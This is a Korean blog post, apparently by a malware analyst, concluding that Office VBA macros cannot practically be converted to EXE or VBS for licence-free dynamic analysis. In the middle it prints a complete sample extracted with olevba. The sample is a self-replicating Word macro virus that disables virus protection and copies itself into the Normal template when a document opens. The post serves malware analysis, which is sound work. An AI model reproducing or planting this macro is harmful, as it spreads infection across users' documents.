개요
VBA는 Visual Basic for Application 의 약자로, Visual Basic(이하 VB)을 특정 어플리케이션에서 쉽게 쓸 수 있도록 제공하는 인터프리터 언어(?)입니다. 쉽게 말해, VB는 VB인데, 특정한 어플리케이션에서만 쓰는 맞춤형 VBS 라고 생각할 수 있습니다. 실제로 VB for Word Application 이나 VB for Excel Application 등으로 말하며, 코드상 Word.Application 이나 Excel.Application 등으로 접근합니다.
VBA를 실행 가능한 파일인 EXE로 만들면, 자동분석 머신에 있어 Microsoft Office(이하 MSO) 매크로 악성코드 동적분석에 MSO 제품군을 설치할 필요가 없기 때문에, 고액의 라이선스 비용을 절감할 수 있습니다. 이 연구 또한 여기서 출발했습니다.
결론부터 말하자면 VBA를 EXE로 변환하는것은 현실적으로 불가능합니다. 아래에서 불가능이란 결론에 이르는 과정을 설명합니다.
알려진 변환 도구
VBAtoEXE 는 몇몇의 알려진 자동화 도구가 존재합니다. XCell Compiler 와 XLtoExe, DBtoEXE, DOCtoEXE 제품군이 그것입니다. 이 모든 도구들은 VBA가 포함된 MSO 문서를 EXE 파일로 만들어 주기는 하지만, 공통적으로 실행에 MSO 설치가 필요하기에, 실 사용이 불가능합니다.
1. XCell Compiler
- http://doneex.com/index.php?option=c…d=10&Itemid=43
- Excel 매크로를 EXE 로 만들어주는 유료 프로그램. Excel 설치 필요.
2. XLtoEXE, DBtoEXE, DOCtoEXE, PPtoEXE
- http://www.cpap.com.br/orlando/index.asp#XLtoExe
- 역시 MSO 독립적이지 않다.
VBA 추출
VBA를 EXE로 만들기 위해 먼저 MSO 문서내 VBA를 추출하는 과정이 선행돼야 합니다. 그리고 여기엔 oleetools 만한 도구가 없습니다. oletools 는 파이썬으로 작성된 MSO 악성코드 전문 분석 도구로, python 2 와 3 모두에서 동작합니다. 사용을 위해선 물론 파이썬 설치가 되어 있어야 합니다. pip install oletools
명령으로 설치할 수 있습니다.
oletools 가 설치되면, 동작에 필요한 여러 모듈이 함께 설치됩니다. 여기서 사용할 모듈은 olevba 모듈이고, 이 모듈은 cli 인터페이스를 통해 단독으로 실행할 수도 있습니다. olevba --reveal msoDocumentWithVba.doc
명령을 통해 VBA를 추출할 수 있습니다. 아래는 이 과정을 통해 문서에서 추출한 VBA 샘플입니다. oletools 의 자세한 사용법은 제작자 페이지를 참고바랍니다. 현재도 활발히 업데이트 되는 중입니다.
'APMP'
'KILL'
Private Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then _
Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
With Host
If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
.DeleteLines 1, .CountOfLines
.InsertLines 1, MyCode
If ThisDocument = NormalTemplate Then _
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End With
End Sub
VBAtoVBS
MSO 없이 VBA를 실행하는 것이 목적이란 점에서 최종 결과물이 반드시 EXE일 필요는 없습니다. VBS는 WinOS 설치 환경에서 손쉽게 실행할 수 있기 떄문입니다. 또한 VBS를 쉽게 EXE 로 바꿔주는 도구 Vbs_To_Exe 도 존재합니다. 한글지원에 무료입니다.
심지어 OS가 달라도 실행할 수 있습니다. HTML 태그 <SCRIPT LANGUAGE="vbscript">
를 사용해 브라우저로 실행하면 됩니다.
VBS와 VBA는 문법도 동일해, 경우에 따라 VBA를 그대로 VBS로 복사/붙여넣기 해도 동작하는 경우가 있습니다. 결론적으로 VBAtoVBS 만 가능하다면, 목적은 달성한 샘입니다.
VBA 소스코드 변환의 한계
VBA는 몇 가지 이유로 다른 형태로 포팅이 불가능합니다. 그 이유는 다음과 같습니다.
VBA는 해당 어플리케이션만이 제공하는 오브젝트 들이 VBA한테 자동으로 노출된다. 이런 오브젝트는 해당 어플리케이션이 아니면 인식할 수 없다.
대표적으로 Application
오브젝트가 그러합니다. Application.ActiveDocument.Save
란 VBA 소스는 해당 어플리에케이션이 현재 열고 있는 대상(DOC 든 PPT든)을 저장하라는 코드입니다. 이런 코드는 VBS선 인식할 수 없을겁니다. VBA가 제공하는 여러 오브젝트에 관한 설명은 여기서 자세히 볼 수 있습니다.
VBA 는 “Named Argument Syntax”를 지원한다. VBS 는 그렇지 않다.
아래는 임의의 함수 PassArgs()
를 호출하는 다른 방법을 보여줍니다. VBA 는 각 매게변수의 이름을 명시해 호출할 수 있지만, VBS는 그렇지 못합니다. 호출부분이니 직접 수정해 실행시킬 수 있겠지만, 자동화하기엔 매우 어려운 부분입니다.
Sub PassArgs(strName As String, intAge As Integer, dteBirth As Date)
Debug.Print strName, intAge, dteBirth
End Sub
'VBA 지원 / VBS 지원'
PassArgs "Mary", 29, #2-21-69#
'VBA 지원 / VBS 미지원'
PassArgs intAge:=29, dteBirth:=#2/21/69#, strName:="Mary"
VBA 는 고유의 Named Constants 를 지원한다.
Named Constants 란 WINAPI 의 GENERIC_READ 와 같은 이름있는 상수를 일컫는 말이라 생각하면 편합니다. 해당 어플리케이션 안이라면 자동으로 정의되겠지만, 어플리케이션 밖에선 무슨 값인지 알 수 없습니다.
결론
이와 같은 이유로 VBAtoVBS 는 불가능하다 결론났습니다. 가능하더라도 MSO 모듈을 필수적으로 임포트 해야 할 것으로 보이고, 여기에 적용되는 라이선스는 또 다른 문제입니다. 누군가 저와 같은 주제로 또 고민하지 않았으면 좋겠습니다.
노고에 감사드립니다.
좋은 정보가 되었습니다.
늦게나마..